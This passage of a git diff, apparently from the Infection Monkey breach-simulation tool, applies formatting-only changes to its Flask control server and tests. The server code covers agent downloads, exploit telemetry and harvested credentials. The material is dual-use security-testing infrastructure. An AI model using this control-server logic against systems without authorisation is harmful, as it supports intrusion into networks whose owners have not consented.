event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK + title="skjs", message="bla bla", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK ) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py index 2df6901234b..f7cf39d2248 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_monkey_finding.py @@ -17,9 +17,9 @@ class TestMonkeyFinding: def test_save_finding_validation(self): with pytest.raises(ValidationError): _ = MonkeyFinding.save_finding( - test="bla bla", - status=zero_trust_consts.STATUS_FAILED, - detail_ref=MONKEY_FINDING_DETAIL_MOCK, + test="bla bla", + status=zero_trust_consts.STATUS_FAILED, + detail_ref=MONKEY_FINDING_DETAIL_MOCK, ) @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) @@ -27,17 +27,17 @@ def test_save_finding_sanity(self): assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 event_example = Event.create_event( - title="Event Title", - message="event message", - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + title="Event Title", + message="event message", + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) monkey_details_example = MonkeyFindingDetails() monkey_details_example.events.append(event_example) monkey_details_example.save() MonkeyFinding.save_finding( - test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED, - detail_ref=monkey_details_example, + test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED, + detail_ref=monkey_details_example, ) assert len(MonkeyFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 diff --git a/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py index f78802b164b..07809cd903f 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py @@ -20,9 +20,9 @@ class TestScoutSuiteFinding: def test_save_finding_validation(self): with pytest.raises(ValidationError): _ = ScoutSuiteFinding.save_finding( - test=zero_trust_consts.TEST_SEGMENTATION, - status="bla bla", - detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK, + test=zero_trust_consts.TEST_SEGMENTATION, + status="bla bla", + detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK, ) @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) @@ -34,9 +34,9 @@ def test_save_finding_sanity(self): scoutsuite_details_example.scoutsuite_rules.append(rule_example) scoutsuite_details_example.save() ScoutSuiteFinding.save_finding( - test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED, - detail_ref=scoutsuite_details_example, + test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED, + detail_ref=scoutsuite_details_example, ) assert len(ScoutSuiteFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 diff --git a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py index 2966f2e0e2a..de79d2e7250 100644 --- a/monkey/monkey_island/cc/resources/T1216_pba_file_download.py +++ b/monkey/monkey_island/cc/resources/T1216_pba_file_download.py @@ -15,6 +15,6 @@ class T1216PBAFileDownload(flask_restful.Resource): def get(self): executable_file_name = "T1216_random_executable.exe" return send_from_directory( - directory=os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "resources", "pba"), - filename=executable_file_name, + directory=os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "resources", "pba"), + filename=executable_file_name, ) diff --git a/monkey/monkey_island/cc/resources/attack/attack_config.py b/monkey/monkey_island/cc/resources/attack/attack_config.py index 3ca7a0f0c89..570882dbd03 100644 --- a/monkey/monkey_island/cc/resources/attack/attack_config.py +++ b/monkey/monkey_island/cc/resources/attack/attack_config.py @@ -11,14 +11,14 @@ class AttackConfiguration(flask_restful.Resource): @jwt_required def get(self): return current_app.response_class( - json.dumps( - {"configuration":AttackConfig.get_config()}, - indent=None, - separators=(",", ":"), - sort_keys=False, - ) - + "\n", - mimetype=current_app.config["JSONIFY_MIMETYPE"], + json.dumps( + {"configuration": AttackConfig.get_config()}, + indent=None, + separators=(",", ":"), + sort_keys=False, + ) + + "\n", + mimetype=current_app.config["JSONIFY_MIMETYPE"], ) @jwt_required @@ -32,6 +32,6 @@ def post(self): AttackConfig.reset_config() return jsonify(configuration=AttackConfig.get_config()) else: - AttackConfig.update_config({"properties":json.loads(request.data)}) + AttackConfig.update_config({"properties": json.loads(request.data)}) AttackConfig.apply_to_monkey_config() return {} diff --git a/monkey/monkey_island/cc/resources/attack/attack_report.py b/monkey/monkey_island/cc/resources/attack/attack_report.py index bb3162b2ed8..72860cab74b 100644 --- a/monkey/monkey_island/cc/resources/attack/attack_report.py +++ b/monkey/monkey_island/cc/resources/attack/attack_report.py @@ -12,11 +12,11 @@ class AttackReport(flask_restful.Resource): @jwt_required def get(self): response_content = { - "techniques":AttackReportService.get_latest_report()["techniques"], - "schema":SCHEMA, + "techniques": AttackReportService.get_latest_report()["techniques"], + "schema": SCHEMA, } return current_app.response_class( - json.dumps(response_content, indent=None, separators=(",", ":"), sort_keys=False) - + "\n", - mimetype=current_app.config["JSONIFY_MIMETYPE"], + json.dumps(response_content, indent=None, separators=(",", ":"), sort_keys=False) + + "\n", + mimetype=current_app.config["JSONIFY_MIMETYPE"], ) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index a2cd6f858d3..29d2d9e899f 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -19,7 +19,7 @@ def init_jwt(app): user_store.UserStore.set_users(env_singleton.env.get_auth_users()) _ = flask_jwt_extended.JWTManager(app) logger.debug( - "Initialized JWT with secret key that started with " + app.config["JWT_SECRET_KEY"][:4] + "Initialized JWT with secret key that started with " + app.config["JWT_SECRET_KEY"][:4] ) @@ -51,14 +51,14 @@ def post(self): # If the user and password have been previously registered if self._authenticate(username, secret): access_token = flask_jwt_extended.create_access_token( - identity=user_store.UserStore.username_table[username].id + identity=user_store.UserStore.username_table[username].id ) logger.debug( - f"Created access token for user {username} that begins with {access_token[:4]}" + f"Created access token for user {username} that begins with {access_token[:4]}" ) - return make_response({"access_token":access_token, "error":""}, 200) + return make_response({"access_token": access_token, "error": ""}, 200) else: - return make_response({"error":"Invalid credentials"}, 401) + return make_response({"error": "Invalid credentials"}, 401) # See https://flask-jwt-extended.readthedocs.io/en/stable/custom_decorators/ @@ -71,6 +71,6 @@ def wrapper(*args, **kwargs): # Catch authentication related errors in the verification or inside the called function. # All other exceptions propagate except (JWTExtendedException, PyJWTError) as e: - return make_response({"error":f"Authentication error: {str(e)}"}, 401) + return make_response({"error": f"Authentication error: {str(e)}"}, 401) return wrapper diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index dbda4dbe764..e5ca99232e1 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -8,12 +8,12 @@ class Registration(flask_restful.Resource): def get(self): - return {"needs_registration":env_singleton.env.needs_registration()} + return {"needs_registration": env_singleton.env.needs_registration()} def post(self): credentials = UserCreds.get_from_json(request.data) try: env_singleton.env.try_add_user(credentials) - return make_response({"error":""}, 200) + return make_response({"error": ""}, 200) except (InvalidRegistrationCredentialsError, RegistrationNotNeededError) as e: - return make_response({"error":str(e)}, 400) + return make_response({"error": str(e)}, 400) diff --git a/monkey/monkey_island/cc/resources/auth/user_store.py b/monkey/monkey_island/cc/resources/auth/user_store.py index da47545d5d8..a35f4b3d601 100644 --- a/monkey/monkey_island/cc/resources/auth/user_store.py +++ b/monkey/monkey_island/cc/resources/auth/user_store.py @@ -11,5 +11,5 @@ class UserStore: @staticmethod def set_users(users: List[User]): UserStore.users = users - UserStore.username_table = {u.username:u for u in UserStore.users} - UserStore.user_id_table = {u.id:u for u in UserStore.users} + UserStore.username_table = {u.username: u for u in UserStore.users} + UserStore.user_id_table = {u.id: u for u in UserStore.users} diff --git a/monkey/monkey_island/cc/resources/bootloader.py b/monkey/monkey_island/cc/resources/bootloader.py index 69d7e158479..b228b9eea18 100644 --- a/monkey/monkey_island/cc/resources/bootloader.py +++ b/monkey/monkey_island/cc/resources/bootloader.py @@ -16,23 +16,23 @@ def post(self, os): elif os == "windows": data = Bootloader._get_request_contents_windows(request.data) else: - return make_response({"status":"OS_NOT_FOUND"}, 404) + return make_response({"status": "OS_NOT_FOUND"}, 404) result = BootloaderService.parse_bootloader_telem(data) if result: - return make_response({"status":"RUN"}, 200) + return make_response({"status": "RUN"}, 200) else: - return make_response({"status":"ABORT"}, 200) + return make_response({"status": "ABORT"}, 200) @staticmethod def _get_request_contents_linux(request_data: bytes) -> Dict[str, str]: parsed_data = json.loads( - request_data.decode() - .replace('"\n', "") - .replace("\n", "") - .replace('NAME="', "") - .replace('":",', '":"",') + request_data.decode() + .replace('"\n', "") + .replace("\n", "") + .replace('NAME="', "") + .replace('":",', '":"",') ) return parsed_data diff --git a/monkey/monkey_island/cc/resources/edge.py b/monkey/monkey_island/cc/resources/edge.py index 83de87c0428..4985d8a4d00 100644 --- a/monkey/monkey_island/cc/resources/edge.py +++ b/monkey/monkey_island/cc/resources/edge.py @@ -11,6 +11,6 @@ def get(self): edge_id = request.args.get("id") displayed_edge = DisplayedEdgeService.get_displayed_edge_by_id(edge_id) if edge_id: - return {"edge":displayed_edge} + return {"edge": displayed_edge} return {} diff --git a/monkey/monkey_island/cc/resources/environment.py b/monkey/monkey_island/cc/resources/environment.py index f435ea2a6c3..feb0c138cba 100644 --- a/monkey/monkey_island/cc/resources/environment.py +++ b/monkey/monkey_island/cc/resources/environment.py @@ -16,7 +16,7 @@ def patch(self): if env_singleton.env.needs_registration(): env_singleton.set_to_standard() logger.warning( - "No user registered, Island on standard mode - no credentials required to " - "access." + "No user registered, Island on standard mode - no credentials required to " + "access." ) return {} diff --git a/monkey/monkey_island/cc/resources/island_configuration.py b/monkey/monkey_island/cc/resources/island_configuration.py index 2eac52375f1..42730e477bc 100644 --- a/monkey/monkey_island/cc/resources/island_configuration.py +++ b/monkey/monkey_island/cc/resources/island_configuration.py @@ -11,8 +11,8 @@ class IslandConfiguration(flask_restful.Resource): @jwt_required def get(self): return jsonify( - schema=ConfigService.get_config_schema(), - configuration=ConfigService.get_config(False, True, True), + schema=ConfigService.get_config_schema(), + configuration=ConfigService.get_config(False, True, True), ) @jwt_required diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 73472defa41..d9dfc0e391b 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -78,4 +78,4 @@ def post(self): return jsonify(is_running=local_run[0], error_text=local_run[1]) # default action - return make_response({"error":"Invalid action"}, 500) + return make_response({"error": "Invalid action"}, 500) diff --git a/monkey/monkey_island/cc/resources/log.py b/monkey/monkey_island/cc/resources/log.py index fd8b269bcba..aae23fed3a5 100644 --- a/monkey/monkey_island/cc/resources/log.py +++ b/monkey/monkey_island/cc/resources/log.py @@ -33,4 +33,4 @@ def post(self): log_data = str(telemetry_json["log"]) log_id = LogService.add_log(monkey_id, log_data) - return mongo.db.log.find_one_or_404({"_id":log_id}) + return mongo.db.log.find_one_or_404({"_id": log_id}) diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 221268eaa5f..66dbd881a32 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -28,7 +28,7 @@ def get(self, guid=None, **kw): guid = request.args.get("guid") if guid: - monkey_json = mongo.db.monkey.find_one_or_404({"guid":guid}) + monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) monkey_json["config"] = ConfigService.decrypt_flat_config(monkey_json["config"]) return monkey_json @@ -38,7 +38,7 @@ def get(self, guid=None, **kw): @TestTelemStore.store_test_telem def patch(self, guid): monkey_json = json.loads(request.data) - update = {"$set":{"modifytime":datetime.now()}} + update = {"$set": {"modifytime": datetime.now()}} monkey = NodeService.get_monkey_by_guid(guid) if "keepalive" in monkey_json: update["$set"]["keepalive"] = dateutil.parser.parse(monkey_json["keepalive"]) @@ -56,7 +56,7 @@ def patch(self, guid): ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS) update["$set"]["ttl_ref"] = ttl.id - return mongo.db.monkey.update({"_id":monkey["_id"]}, update, upsert=False) + return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False) # Used by monkey. can't secure. # Called on monkey wakeup to initialize local configuration @@ -75,7 +75,7 @@ def post(self, **kw): ConfigService.save_initial_config_if_needed() # if new monkey telem, change config according to "new monkeys" config. - db_monkey = mongo.db.monkey.find_one({"guid":monkey_json["guid"]}) + db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]}) # Update monkey configuration new_config = ConfigService.get_flat_config(False, False) @@ -89,12 +89,12 @@ def post(self, **kw): exploit_telem = [ x for x in mongo.db.telemetry.find( - { - "telem_category":{"$eq":"exploit"}, - "data.result":{"$eq":True}, - "data.machine.ip_addr":{"$in":monkey_json["ip_addresses"]}, - "monkey_guid":{"$eq":parent}, - } + { + "telem_category": {"$eq": "exploit"}, + "data.result": {"$eq": True}, + "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, + "monkey_guid": {"$eq": parent}, + } ) ] if 1 == len(exploit_telem): @@ -108,11 +108,11 @@ def post(self, **kw): exploit_telem = [ x for x in mongo.db.telemetry.find( - { - "telem_category":{"$eq":"exploit"}, - "data.result":{"$eq":True}, - "data.machine.ip_addr":{"$in":monkey_json["ip_addresses"]}, - } + { + "telem_category": {"$eq": "exploit"}, + "data.result": {"$eq": True}, + "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, + } ) ] @@ -135,17 +135,17 @@ def post(self, **kw): ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS) monkey_json["ttl_ref"] = ttl.id - mongo.db.monkey.update({"guid":monkey_json["guid"]}, {"$set":monkey_json}, upsert=True) + mongo.db.monkey.update({"guid": monkey_json["guid"]}, {"$set": monkey_json}, upsert=True) # Merge existing scanned node with new monkey - new_monkey_id = mongo.db.monkey.find_one({"guid":monkey_json["guid"]})["_id"] + new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"] if tunnel_host_ip is not None: NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip) existing_node = mongo.db.node.find_one( - {"ip_addresses":{"$in":monkey_json["ip_addresses"]}} + {"ip_addresses": {"$in": monkey_json["ip_addresses"]}} ) if existing_node: @@ -153,6 +153,6 @@ def post(self, **kw): EdgeService.update_all_dst_nodes(old_dst_node_id=node_id, new_dst_node_id=new_monkey_id) for creds in existing_node["creds"]: NodeService.add_credentials_to_monkey(new_monkey_id, creds) - mongo.db.node.remove({"_id":node_id}) + mongo.db.node.remove({"_id": node_id}) - return {"id":new_monkey_id} + return {"id": new_monkey_id} diff --git a/monkey/monkey_island/cc/resources/monkey_configuration.py b/monkey/monkey_island/cc/resources/monkey_configuration.py index a6dd3862ca9..d4e415e8861 100644 --- a/monkey/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey/monkey_island/cc/resources/monkey_configuration.py @@ -13,8 +13,8 @@ class MonkeyConfiguration(flask_restful.Resource): @jwt_required def get(self): return jsonify( - schema=ConfigService.get_config_schema(), - configuration=ConfigService.get_config(False, True), + schema=ConfigService.get_config_schema(), + configuration=ConfigService.get_config(False, True), ) @jwt_required diff --git a/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py b/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py index 306d5b345d6..06e49b145ba 100644 --- a/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py +++ b/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py @@ -9,6 +9,6 @@ class RemotePortCheck(flask_restful.Resource): # Used by monkey. can't secure. def get(self, port): if port and check_tcp_port(request.remote_addr, port): - return {"status":"port_visible"} + return {"status": "port_visible"} else: - return {"status":"port_invisible"} + return {"status": "port_invisible"} diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py index bb530b2e356..c2b633c8e23 100644 --- a/monkey/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -14,47 +14,47 @@ MONKEY_DOWNLOADS = [ { - "type":"linux", - "machine":"x86_64", - "filename":"monkey-linux-64", + "type": "linux", + "machine": "x86_64", + "filename": "monkey-linux-64", }, { - "type":"linux", - "machine":"i686", - "filename":"monkey-linux-32", + "type": "linux", + "machine": "i686", + "filename": "monkey-linux-32", }, { - "type":"linux", - "machine":"i386", - "filename":"monkey-linux-32", + "type": "linux", + "machine": "i386", + "filename": "monkey-linux-32", }, { - "type":"linux", - "filename":"monkey-linux-64", + "type": "linux", + "filename": "monkey-linux-64", }, { - "type":"windows", - "machine":"x86", - "filename":"monkey-windows-32.exe", + "type": "windows", + "machine": "x86", + "filename": "monkey-windows-32.exe", }, { - "type":"windows", - "machine":"amd64", - "filename":"monkey-windows-64.exe", + "type": "windows", + "machine": "amd64", + "filename": "monkey-windows-64.exe", }, { - "type":"windows", - "machine":"64", - "filename":"monkey-windows-64.exe", + "type": "windows", + "machine": "64", + "filename": "monkey-windows-64.exe", }, { - "type":"windows", - "machine":"32", - "filename":"monkey-windows-32.exe", + "type": "windows", + "machine": "32", + "filename": "monkey-windows-32.exe", }, { - "type":"windows", - "filename":"monkey-windows-32.exe", + "type": "windows", + "filename": "monkey-windows-32.exe", }, ] @@ -65,8 +65,8 @@ def get_monkey_executable(host_os, machine): logger.info("Monkey exec found for os: {0} and machine: {1}".format(host_os, machine)) return download logger.warning( - "No monkey executables could be found for the host os or machine or both: host_os: {" - "0}, machine: {1}".format(host_os, machine) + "No monkey executables could be found for the host os or machine or both: host_os: {" + "0}, machine: {1}".format(host_os, machine) ) return None @@ -112,9 +112,9 @@ def log_executable_hashes(): with open(filepath, "rb") as monkey_exec_file: file_contents = monkey_exec_file.read() logger.debug( - "{} hashes:\nSHA-256 {}".format( - filename, hashlib.sha256(file_contents).hexdigest() - ) + "{} hashes:\nSHA-256 {}".format( + filename, hashlib.sha256(file_contents).hexdigest() + ) ) else: logger.debug("No monkey executable for {}.".format(filepath)) diff --git a/monkey/monkey_island/cc/resources/netmap.py b/monkey/monkey_island/cc/resources/netmap.py index 6012a46f6f4..1dfa14657e2 100644 --- a/monkey/monkey_island/cc/resources/netmap.py +++ b/monkey/monkey_island/cc/resources/netmap.py @@ -13,4 +13,4 @@ def get(self, **kw): net_nodes = NetNodeService.get_all_net_nodes() net_edges = NetEdgeService.get_all_net_edges() - return {"nodes":net_nodes, "edges":net_edges} + return {"nodes": net_nodes, "edges": net_edges} diff --git a/monkey/monkey_island/cc/resources/node_states.py b/monkey/monkey_island/cc/resources/node_states.py index 31e3ae73c7b..073aafffd38 100644 --- a/monkey/monkey_island/cc/resources/node_states.py +++ b/monkey/monkey_island/cc/resources/node_states.py @@ -7,4 +7,4 @@ class NodeStates(flask_restful.Resource): @jwt_required def get(self): - return {"node_states":[state.value for state in NodeStateList]} + return {"node_states": [state.value for state in NodeStateList]} diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index c9c4d1f2798..36f138f1055 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -90,6 +90,6 @@ def upload_pba_file(request_, is_linux=True): file_path = ABS_UPLOAD_PATH.joinpath(filename).absolute() request_.files["filepond"].save(str(file_path)) ConfigService.set_config_value( - (PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename + (PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename ) return filename diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py index e6a4f72b606..0e6e6df1057 100644 --- a/monkey/monkey_island/cc/resources/remote_run.py +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -33,7 +33,7 @@ def get(self): action = request.args.get("action") if action == "list_aws": is_aws = RemoteRunAwsService.is_running_on_aws() - resp = {"is_aws":is_aws} + resp = {"is_aws": is_aws} if is_aws: try: resp["instances"] = AwsService.get_instances() @@ -58,4 +58,4 @@ def post(self): return jsonify(resp) # default action - return make_response({"error":"Invalid action"}, 500) + return make_response({"error": "Invalid action"}, 500) diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 5b9cec543ef..57d20904afc 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -30,14 +30,14 @@ def get(self, action=None): elif action == "killall": return jwt_required(InfectionLifecycle.kill_all)() elif action == "is-up": - return {"is-up":True} + return {"is-up": True} else: - return make_response(400, {"error":"unknown action"}) + return make_response(400, {"error": "unknown action"}) @jwt_required def get_server_info(self): return jsonify( - ip_addresses=local_ip_addresses(), - mongo=str(mongo.db), - completed_steps=InfectionLifecycle.get_completed_steps(), + ip_addresses=local_ip_addresses(), + mongo=str(mongo.db), + completed_steps=InfectionLifecycle.get_completed_steps(), ) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index b769a4ad508..9bf2f7ddab4 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -28,18 +28,18 @@ def get(self, **kw): if "null" == timestamp: # special case to avoid ugly JS code... timestamp = None - result = {"timestamp":datetime.now().isoformat()} + result = {"timestamp": datetime.now().isoformat()} find_filter = {} if monkey_guid: - find_filter["monkey_guid"] = {"$eq":monkey_guid} + find_filter["monkey_guid"] = {"$eq": monkey_guid} if telem_category: - find_filter["telem_category"] = {"$eq":telem_category} + find_filter["telem_category"] = {"$eq": telem_category} if timestamp: - find_filter["timestamp"] = {"$gt":dateutil.parser.parse(timestamp)} + find_filter["timestamp"] = {"$gt": dateutil.parser.parse(timestamp)} result["objects"] = self.telemetry_to_displayed_telemetry( - mongo.db.telemetry.find(find_filter) + mongo.db.telemetry.find(find_filter) ) return result @@ -50,8 +50,8 @@ def post(self): telemetry_json["data"] = json.loads(telemetry_json["data"]) telemetry_json["timestamp"] = datetime.now() telemetry_json["command_control_channel"] = { - "src":request.remote_addr, - "dst":request.host, + "src": request.remote_addr, + "dst": request.host, } # Monkey communicated, so it's alive. Update the TTL. @@ -63,7 +63,7 @@ def post(self): process_telemetry(telemetry_json) telem_id = mongo.db.telemetry.insert(telemetry_json) - return mongo.db.telemetry.find_one_or_404({"_id":telem_id}) + return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) @staticmethod def telemetry_to_displayed_telemetry(telemetry): diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 6d12d204e4e..4a2972cdbfa 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -24,38 +24,38 @@ def get(self, **kw): telemetries = mongo.db.telemetry.find({}) else: telemetries = mongo.db.telemetry.find( - {"timestamp":{"$gt":dateutil.parser.parse(timestamp)}} + {"timestamp": {"$gt": dateutil.parser.parse(timestamp)}} ) telemetries = telemetries.sort([("timestamp", flask_pymongo.ASCENDING)]) try: return { - "telemetries":[ + "telemetries": [ TelemetryFeed.get_displayed_telemetry(telem) for telem in telemetries if TelemetryFeed.should_show_brief(telem) ], - "timestamp":datetime.now().isoformat(), + "timestamp": datetime.now().isoformat(), } except KeyError as err: logger.error("Failed parsing telemetries. Error: {0}.".format(err)) - return {"telemetries":[], "timestamp":datetime.now().isoformat()} + return {"telemetries": [], "timestamp": datetime.now().isoformat()} @staticmethod def get_displayed_telemetry(telem): monkey = NodeService.get_monkey_by_guid(telem["monkey_guid"]) default_hostname = "GUID-" + telem["monkey_guid"] return { - "id":telem["_id"], - "timestamp":telem["timestamp"].strftime("%d/%m/%Y %H:%M:%S"), - "hostname":monkey.get("hostname", default_hostname) if monkey else default_hostname, - "brief":TelemetryFeed.get_telem_brief(telem), + "id": telem["_id"], + "timestamp": telem["timestamp"].strftime("%d/%m/%Y %H:%M:%S"), + "hostname": monkey.get("hostname", default_hostname) if monkey else default_hostname, + "brief": TelemetryFeed.get_telem_brief(telem), } @staticmethod def get_telem_brief(telem): telem_brief_parser = TelemetryFeed.get_telem_brief_parser_by_category( - telem["telem_category"] + telem["telem_category"] ) return telem_brief_parser(telem) @@ -116,11 +116,11 @@ def should_show_brief(telem): TELEM_PROCESS_DICT = { - TelemCategoryEnum.TUNNEL:TelemetryFeed.get_tunnel_telem_brief, - TelemCategoryEnum.STATE:TelemetryFeed.get_state_telem_brief, - TelemCategoryEnum.EXPLOIT:TelemetryFeed.get_exploit_telem_brief, - TelemCategoryEnum.SCAN:TelemetryFeed.get_scan_telem_brief, - TelemCategoryEnum.SYSTEM_INFO:TelemetryFeed.get_systeminfo_telem_brief, - TelemCategoryEnum.TRACE:TelemetryFeed.get_trace_telem_brief, - TelemCategoryEnum.POST_BREACH:TelemetryFeed.get_post_breach_telem_brief, + TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief, + TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, + TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief, + TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, + TelemCategoryEnum.SYSTEM_INFO: TelemetryFeed.get_systeminfo_telem_brief, + TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief, + TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief, } diff --git a/monkey/monkey_island/cc/resources/test/clear_caches.py b/monkey/monkey_island/cc/resources/test/clear_caches.py index 34c1ded0fec..b8ebeb056e0 100644 --- a/monkey/monkey_island/cc/resources/test/clear_caches.py +++ b/monkey/monkey_island/cc/resources/test/clear_caches.py @@ -34,4 +34,4 @@ def get(self, **kw): logger.error(NOT_ALL_REPORTS_DELETED) flask_restful.abort(500, error_info=NOT_ALL_REPORTS_DELETED) - return {"success":"true"} + return {"success": "true"} diff --git a/monkey/monkey_island/cc/resources/test/log_test.py b/monkey/monkey_island/cc/resources/test/log_test.py index ab81da08e46..c6ec50f7122 100644 --- a/monkey/monkey_island/cc/resources/test/log_test.py +++ b/monkey/monkey_island/cc/resources/test/log_test.py @@ -12,6 +12,6 @@ def get(self): find_query = json_util.loads(request.args.get("find_query")) log = mongo.db.log.find_one(find_query) if not log: - return {"results":None} + return {"results": None} log_file = database.gridfs.get(log["file_id"]) - return {"results":log_file.read().decode()} + return {"results": log_file.read().decode()} diff --git a/monkey/monkey_island/cc/resources/test/monkey_test.py b/monkey/monkey_island/cc/resources/test/monkey_test.py index 4d96d926851..1122141d22e 100644 --- a/monkey/monkey_island/cc/resources/test/monkey_test.py +++ b/monkey/monkey_island/cc/resources/test/monkey_test.py @@ -10,4 +10,4 @@ class MonkeyTest(flask_restful.Resource): @jwt_required def get(self, **kw): find_query = json_util.loads(request.args.get("find_query")) - return {"results":list(mongo.db.monkey.find(find_query))} + return {"results": list(mongo.db.monkey.find(find_query))} diff --git a/monkey/monkey_island/cc/resources/test/telemetry_test.py b/monkey/monkey_island/cc/resources/test/telemetry_test.py index e75e821a5e1..54be08d712c 100644 --- a/monkey/monkey_island/cc/resources/test/telemetry_test.py +++ b/monkey/monkey_island/cc/resources/test/telemetry_test.py @@ -10,4 +10,4 @@ class TelemetryTest(flask_restful.Resource): @jwt_required def get(self, **kw): find_query = json_util.loads(request.args.get("find_query")) - return {"results":list(mongo.db.telemetry.find(find_query))} + return {"results": list(mongo.db.telemetry.find(find_query))} diff --git a/monkey/monkey_island/cc/resources/test/utils/telem_store.py b/monkey/monkey_island/cc/resources/test/utils/telem_store.py index d40d0624318..574712cda0f 100644 --- a/monkey/monkey_island/cc/resources/test/utils/telem_store.py +++ b/monkey/monkey_island/cc/resources/test/utils/telem_store.py @@ -30,13 +30,13 @@ def decorated_function(*args, **kwargs): endpoint = request.path name = ( str(request.url_rule) - .replace("/", "_") - .replace("<", "_") - .replace(">", "_") - .replace(":", "_") + .replace("/", "_") + .replace("<", "_") + .replace(">", "_") + .replace(":", "_") ) TestTelem( - name=name, method=method, endpoint=endpoint, content=content, time=time + name=name, method=method, endpoint=endpoint, content=content, time=time ).save() return f(*args, **kwargs) @@ -53,9 +53,8 @@ def export_test_telems(): mkdir(TELEM_SAMPLE_DIR) for test_telem in TestTelem.objects(): with open( - TestTelemStore.get_unique_file_path_for_test_telem(TELEM_SAMPLE_DIR, - test_telem), - "w", + TestTelemStore.get_unique_file_path_for_test_telem(TELEM_SAMPLE_DIR, test_telem), + "w", ) as file: file.write(test_telem.to_json(indent=2)) TestTelemStore.TELEMS_EXPORTED = True @@ -70,7 +69,7 @@ def get_unique_file_path_for_test_telem(target_dir: str, test_telem: TestTelem): continue return potential_filepath raise Exception( - f"Too many telemetries of the same category. Max amount {MAX_SAME_CATEGORY_TELEMS}" + f"Too many 